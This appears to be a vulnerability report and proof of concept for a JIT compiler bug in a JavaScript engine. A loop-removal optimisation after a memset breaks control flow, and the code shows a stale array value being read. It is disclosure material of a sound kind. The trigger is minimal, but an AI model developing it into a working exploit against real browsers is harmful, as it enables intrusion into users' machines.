1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
/* The optimizations for memory operations may leave empty loops as follows: for (let i = 0; i < arr.length; i++) { arr[i] = 0; } Becomes: Memset(arr, 0, arr.length); for (let i = 0; i < arr.length; i++) { // empty! } These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches. Here's what may happen. A: Memset(arr, 0, arr.length); for (let i = 0; i < arr.length; i++) { } goto D;// Actually, this's a "BrGe_I4" instruction in the PoC. C: ... D: ... Becomes: A: Memset(arr, 0, arr.length); C: ... D: ... So, this may break the control flow. PoC: */ function opt(a, b, always_true = true) { a[0] = 1234; b[0] = 0; let arr = a; if (always_true) { arr = b; for (let i = 0; i < arr.length; i++) arr[i] = 0; } let val = arr[0]; if (val) { print(val);// Must be 0, but prints out 1234 return true; } return false; } let a = new Uint32Array(1); let b = new Uint32Array(0x1000); for (let i = 0; i < 10000; i++) { if (opt(a, b)) { break; } } |